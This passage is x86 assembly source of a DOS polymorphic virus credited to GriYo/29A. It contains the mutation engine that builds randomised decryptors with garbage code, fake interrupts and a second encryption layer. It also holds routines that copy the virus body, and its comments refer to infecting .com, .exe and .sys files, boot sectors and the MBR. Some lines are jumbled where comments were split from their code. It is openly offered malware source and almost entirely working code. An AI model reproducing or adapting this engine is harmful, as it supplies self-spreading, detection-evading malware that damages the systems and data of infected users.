sub ax,word ptr cs:[poly_working_off][bp] cmp ax,decryptor jb check_decryptor_ready jmp try_new_generation check_decryptor_ready: ;Check if decrytor already build cmp byte ptr cs:[decrypt_pointer][bp],04h jne choose_type ;Generate some garbage call g_generator ;Generate a jump to virus body mov al,0E9h stosb mov ax,decryptor mov cx,word ptr cs:[poly_working_off][bp] dec cx dec cx mov bx,di sub bx,cx sub ax,bx stosw ;Copy virus body to the working area lea si,word ptr [virus_body][bp] mov di,word ptr cs:[poly_working_off][bp] add di,decryptor push di mov cx,inf_byte_size-decryptor cld rep movsb ;Generate second encryption layer mov ax,word ptr cs:[poly_working_off][bp] mov bl,byte ptr cs:[clave_crypt][bp] push bx add ax,second_size push es pop ds mov si,ax mov di,ax mov cx,inf_byte_size-(second_size+01h) generate_second: lodsb add al,bl stosb inc bl loop generate_second ;Generate polymorphic encryption pop bx pop di mov si,di mov cx,inf_byte_size-(decryptor+file_header_size+01h) ;Clear prefetch db 0EBh,00h load_crypt:

lodsb encrypt_here: ;Encrypt instruction ( add/sub/xor al,bl ) db 00h,0C3h stosb loop load_crypt ;Restore all regs and return to infection routine pop es pop ds pop di pop si pop dx pop cx pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get a valid opcode for memory operations ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_seg_reg: cmp word ptr cs:[exit_address][bp],offset exit_com - \ offset host_ret je use_ds_es ;Use just cs on .sys .exe files and floppy boot and hd mbr mov al,2Eh ret use_ds_es: ;Use also ds es in .com files call get_rnd and al,18h cmp al,10h je get_seg_reg or al,26h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate next decryptor instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄnext_decryptor: ;Next instruction counter inc byte ptr cs:[decrypt_pointer][bp] ;Check for subroutines witch contains next decryptor instruction cmp word ptr cs:[decrypt_sub][bp],0000h je build_now ;If so build a call instruction to that subroutine call do_call_decryptor ret build_now: ;Else get next instruction to build mov bl,byte ptr cs:[decrypt_pointer][bp] ;Generate decryption instructions just into subroutines cmp bl,02h jne entry_from_sub ;No instruction was created so restore old pointer

dec byte ptr cs:[decrypt_pointer][bp] ret entry_from_sub: ;Entry point if calling from decryptor subroutine building xor bh,bh add bx,bx add bx,bp ;Build instruction mov ax,word ptr cs:[instruction_table+bx] add ax,bp ;Save subroutine address push ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Load counter register ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinst_load_counter: mov al,0BEh add al,byte ptr cs:[address_register][bp] stosb ;Store size of encrypted data mov ax,inf_byte_size-(decryptor+file_header_size+01h) stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Load pointer to encrypted data ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinst_load_pointer: ;Generate garbage call g_generator ;Pointer reg determination mov al,0BFh sub al,byte ptr cs:[address_register][bp] stosb ;Store offset position of encrypted data mov bx,offset virus_body ;Add delta offset add bx,word ptr cs:[file_delta][bp] ;Include displacement mov al,byte ptr cs:[displ_si_di][bp] cbw add ax,bx stosw ;Generate garbage call g_generator ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Decrypt one byte from encrypted data area ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inst_decrypt_one: ;Check type of decrypt sequence cmp byte ptr cs:[decrypt_seq],00h jne decrypt_with_reg ;Decode add/sub/xor byte ptr seg:[si/di+displ],key mov ah,80h mov al,byte ptr cs:[address_seg_1][bp] stosw ;Store operation mov ax,(end_fast_table-fast_table)/02h call rand_in_range ;Get displacement into subroutine table add ax,ax add ax,bp mov bx,ax ;Get opcode mov ax,word ptr cs:[fast_table+bx] mov byte ptr cs:[encrypt_here][bp],ah xor al,byte ptr cs:[address_register][bp] stosb mov al,byte ptr cs:[displ_si_di][bp] neg al mov ah,byte ptr cs:[clave_crypt][bp] stosw ret decrypt_with_reg: ;Decode a mov reg,byte ptr seg:[key] mov al,byte ptr cs:[address_seg_1][bp] mov ah,8Ah stosw mov al,byte ptr cs:[decrypt_register][bp] or al,06h stosb ;Store position of encryption key mov ax,offset clave_crypt ;Add delta offset add ax,word ptr cs:[file_delta][bp] stosw ;Decode a xor/add/sub byte ptr seg:[si/di+displ],reg mov ax,(end_decrypt_table-decrypt_table)/02h call rand_in_range ;Get displacement into subroutine table add ax,ax add ax,bp mov bx,ax ;Get opcode mov ax,word ptr cs:[decrypt_table+bx] ;Write encrypt instruction mov byte ptr cs:[encrypt_here][bp],al

mov al,byte stosw mov al,byte or al,45h xor al,byte mov ah,byte neg ah stosw ret

ptr cs:[address_seg_2][bp] ptr cs:[decrypt_register][bp] ptr cs:[address_register][bp] ptr cs:[displ_si_di][bp]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Increment pointer to encrypted zone ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinst_inc_pointer: mov al,47h sub al,byte ptr cs:[address_register][bp] stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Decrement counter and loop ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinst_dec_loop: ;Decode a dec reg instruction mov al,4Eh add al,byte ptr cs:[address_register][bp] stosb ;Decode a jz mov al,74h stosb push di inc di ;Generate some garbage instructions call g_generator ;Decode a jmp to loop instruction mov al,0E9h stosb mov ax,word ptr cs:[address_loop][bp] sub ax,di dec ax dec ax stosw ;Generate some garbage instructions call g_generator ;Store jz displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a push reg + garbage + pop reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_push_g_pop: ;Build a random push pop call do_push_pop ;Get pop instruction dec di mov al,byte ptr es:[di] push ax call g_generator pop ax stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a subroutine witch contains garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_subroutine: cmp word ptr cs:[last_subroutine][bp],0000h je create_routine ret create_routine: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[last_subroutine][bp],di ;Get subroutine address inc di inc di ;Generate some garbage code call g_generator ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

;³Generate a subroutine witch contains one decryptor instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄsub_decryptor: cmp word ptr cs:[decrypt_sub][bp],0000h je ok_subroutine ret ok_subroutine: ;Do mov inc cmp jne ret

not generate the loop branch into a subroutine bl,byte ptr cs:[decrypt_pointer][bp] bl bl,04h no_loop_sub

no_loop_sub: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[decrypt_sub][bp],di inc di inc di push bx call g_generator pop bx call entry_from_sub call g_generator build_return: ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a call instruction to next decryptor subroutine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_call_decryptor: cmp byte ptr cs:[decrypt_pointer][bp],02h jne no_store_call ;Save position mov word ptr cs:[address_loop][bp],di no_store_call: ;Build a call to our subroutine mov al,0E8h

stosb mov ax,word ptr cs:[decrypt_sub][bp] sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[decrypt_sub][bp],0000h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a call instruction to a subroutine witch some garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_call_garbage: ;Check if there is a subroutine to call mov cx,word ptr cs:[last_subroutine][bp] or cx,cx jnz ok_call ;No, so exit ret ok_call: ;Build a call to our garbage subroutine mov al,0E8h stosb mov ax,cx sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[last_subroutine][bp],0000h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a conditional jump followed by some garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_branch: ;Generate a random conditional jump instruction call get_rnd and al,07h or al,70h stosb ;Save address for jump construction push di ;Get subroutine address inc di ;Generate some garbage code call g_generator ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄg_generator: ;Get a random number for fill count call get_rnd and ax,03h ;Min 2, max 5 opcodes inc ax inc ax next_fill: push ax new_fill: ;Check for .sys file cmp word ptr cs:[exit_address][bp],offset exit_sys - \ offset host_ret jne no_building_sys last_byte_equal: ;Select the type of filler ( 01h byte instructions for .sys files ) mov ax,end_byte_table-one_byte_table call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_fill_type][bp] je last_byte_equal mov word ptr cs:[last_fill_type][bp],ax ;Get one byte instruction add ax,bp mov bx,ax mov al,byte ptr cs:[one_byte_table+bx] ;Store instruction stosb jmp op_return no_building_sys: ;Select the type of filler mov ax,(end_op_table-op_table)/2 ;Do not generate int calls into boot sector or mbr decryptor cmp word ptr cs:[exit_address][bp],offset exit_mbr - \ offset host_ret je eliminate_ints ;Do not generate int calls into decryption loop cmp byte ptr cs:[decrypt_pointer][bp],01h jb no_in_loop eliminate_ints: dec ax dec ax no_in_loop: call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_fill_type][bp]

je new_fill mov word ptr cs:[last_fill_type][bp],ax ;Get subroutine address add ax,ax add ax,bp mov bx,ax mov ax,word ptr cs:[op_table+bx] add ax,bp ;Store return address lea bx,word ptr [op_return][bp] push bx ;Call subroutine push ax ret op_return: pop ax dec ax jnz next_fill ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate mov reg,imm ( either 8 or 16 bit but never ax or sp,di,si or bp )³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmove_imm: call get_rnd ;Get a reggie and al,0Fh ;Make it a mov reg, or al,0B0h test al,08h jz is_8bit_mov ;Make it ax,bx cx or dx and al,0FBh mov ah,al and ah,03h ;Not ax or al jz move_imm stosb call rand_16 stosw ret is_8bit_mov: mov bh,al ;Is al? and bh,07h ;Yeah bomb jz move_imm stosb call get_rnd stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

;³Generate mov reg,reg ( never to al or ax ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmove_with_reg: call rand_16 ;Preserve reggies and 8/16 bit and ax,3F01h ;Or it with addr mode and make it mov or ax,0C08Ah reg_test: test al,1 jz is_8bit_move_with_reg ;Make source and dest = ax,bx,cx,dx and ah,0DBh is_8bit_move_with_reg: mov bl,ah and bl,38h ;No mov ax, 's please jz move_with_reg ;Let's see if 2 reggies are same reggies mov bh,ah sal bh,1 sal bh,1 sal bh,1 and bh,38h ;Check if reg,reg are same cmp bh,bl jz move_with_reg stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Modify a mov reg,reg into an xchg reg,reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄreg_exchange: ;Make a mov reg,reg call move_with_reg ;But then remove it dec di ;And take advantage of the fact the opcode is still in ax dec di ;Was a 16 bit type? test al,1b ;Yeah go for an 8 bitter jnz reg_exchange mov bh,ah ;Is one of reggies ax? and bh,07h

;Yah so bomb jz reg_exchange ;Else make it xchg ah,dl etc... mov al,86h stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate push reg + pop reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_push_pop: mov ax,(end_bytes_2-bytes_2)/2 call rand_in_range add ax,ax add ax,bp mov bx,ax ;Generate push and pop instruction mov ax,word ptr cs:[bytes_2+bx] ;Do not use bx on .sys files cmp word ptr cs:[exit_address][bp],offset exit_sys - \ offset host_ret jne not_exclude_bx ;Check if push bx cmp al,53h je do_push_pop ;Check if pop bx cmp ah,5Bh je do_push_pop not_exclude_bx: stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a mov reg,mem or mov mem,reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmov_with_mem: ;Get memory prefix call get_seg_reg stosb ;Get reg ( from or to mem and 8 or 16 bits ) call rand_16 and ax,3803h ;Or it with addr mode imm 16 and make it mov or ax,0688h test al,01h jnz do_16_bit ;Check if reg is al cmp ah,06h jz make_to_mem jmp all_clear_for_mem do_16_bit: ;Get a valid 16bit reg

and ah,1Eh ;Check if reg is ax cmp ah,06h jnz all_clear_for_mem make_to_mem: ;Make to mem and al,0FDh all_clear_for_mem: stosw ;Get size of buffer for mem operations mov ax,inf_byte_size call rand_in_range add ax,word ptr cs:[mem_base][bp] stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get a math instruction from / to mem ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmake_math_with_mem: ;Generate a mov reg,mem or mov mem.reg call mov_with_mem ;Perform transformation push di sub di,04h mov al,byte ptr es:[di] ;Preserve address mode info and al,03h push ax call get_rnd ;Get a math opcode and al,38h pop bx ;Set address mode bits or al,bl stosb ;Restore pointer pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a random int 21h call ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_int_21h: call get_rnd ;Choose within ah,function or ax,function+subfunction and al,01h jz do_int_ax do_int_ah: mov ax,end_ah_table-ah_table

call rand_in_range add ax,bp mov bx,ax mov ah,byte ptr cs:[ah_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type][bp] jz do_int_ah ;Generate mov ah,function mov byte ptr cs:[last_int_type][bp],ah mov al,0B4h stosw ;Generate int 21h mov ax,021CDh stosw ret do_int_ax: mov ax,(end_ax_table-ax_table)/2 call rand_in_range add ax,ax add ax,bp mov bx,ax mov ax,word ptr cs:[ax_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type][bp] jz do_int_ax mov byte ptr cs:[last_int_type][bp],ah ;Generate mov ax,function mov byte ptr es:[di],0B8h inc di stosw ;Generate int 21h mov ax,021CDh stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a do-nothing int call ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_fake_int: mov ax,offset fake_int_end-offset fake_int_table call rand_in_range mov bx,ax add bx,bp mov ah,byte ptr ds:[fake_int_table+bx] mov al,0CDh stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Polymorphic generator data buffer ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄah_table: ;Int 21h garbage functions ( function number in ah ) db 00Bh ;Read entry state db 019h ;Get current drive

db db db db db db

02Ah 02Ch 030h 04Dh 051h 062h

;Get ;Get ;Get ;Get ;Get ;Get

current date current time dos version number error code active psp active psp

end_ah_table: ax_table: ;Int 21h garbage functions ( function number in ax ) dw 3300h ;Get break-flag dw 3700h ;Get line-command separator dw 5800h ;Get mem concept dw 5802h ;Get umb insert end_ax_table: bytes_2: ;Push and pop pairs push ax pop dx push ax pop bx push ax pop cx push bx pop dx push bx pop cx push cx pop bx push cx pop dx end_bytes_2: step_table: ;Steps table dw offset do_subroutine dw offset do_call_garbage dw offset g_generator dw offset do_branch dw offset sub_decryptor dw offset next_decryptor dw offset do_push_g_pop end_step_table: instruction_table: ;Polymorphic decryptor table dw offset inst_load_counter dw offset inst_load_pointer dw offset inst_decrypt_one dw offset inst_inc_pointer dw offset inst_dec_loop end_inst_table: op_table: ;Address of op-code generator routines dw offset move_with_reg dw offset move_imm dw offset mov_with_mem dw offset make_math_with_mem dw offset reg_exchange

dw offset do_push_pop dw offset do_int_21h dw offset do_fake_int end_op_table: one_byte_table: ;One byte instructions for .sys decryptor aaa aas cbw clc cld cmc cwd daa das dec ax dec cx dec dx dec bp inc ax inc cx inc dx inc bp int 03h nop stc std end_byte_table: fake_int_table: ;Do-nothing ints db 01h db 1Ch db 08h db 0Ah db 0Bh db 0Ch db 0Dh db 0Eh db 0Fh db 28h db 2Bh db 2Ch db 2Dh db 70h db 71h db 72h db 73h db 74h db 76h db 77h fake_int_end: decrypt_table: ;Opcode table for add/sub/xor byte ptr db 2Ah,00h ;Add / db 02h,28h ;Sub / db 32h,30h ;Xor / end_decrypt_table:

seg:[di+displ],reg sub add xor

fast_table: ;Opcode table for add/sub/xor byte ptr db 45h,2Ah ;Add / db 6Dh,02h ;Sub / db 75h,32h ;Xor /

seg:[di+displ],key sub add xor

end_fast_table: ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus buffers ( inserted into infections ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

txt_credits_1 txt_credits_2

;Text for payload subroutine db "<<< SuckSexee Automated Intruder >>>",00h db "Viral Implant Bio-Coded by GriYo/29A",00h

floppy5_25 floppy3_5

;Ddpt that enables the extra track db 0DFh,02h,25h,02h,0Fh,1Bh,0FFh,54h,0F6h,0Fh,08h db 0DFh,02h,25h,02h,12h,1Bh,0FFh,6Ch,0F6h,0Fh,08h

format_table

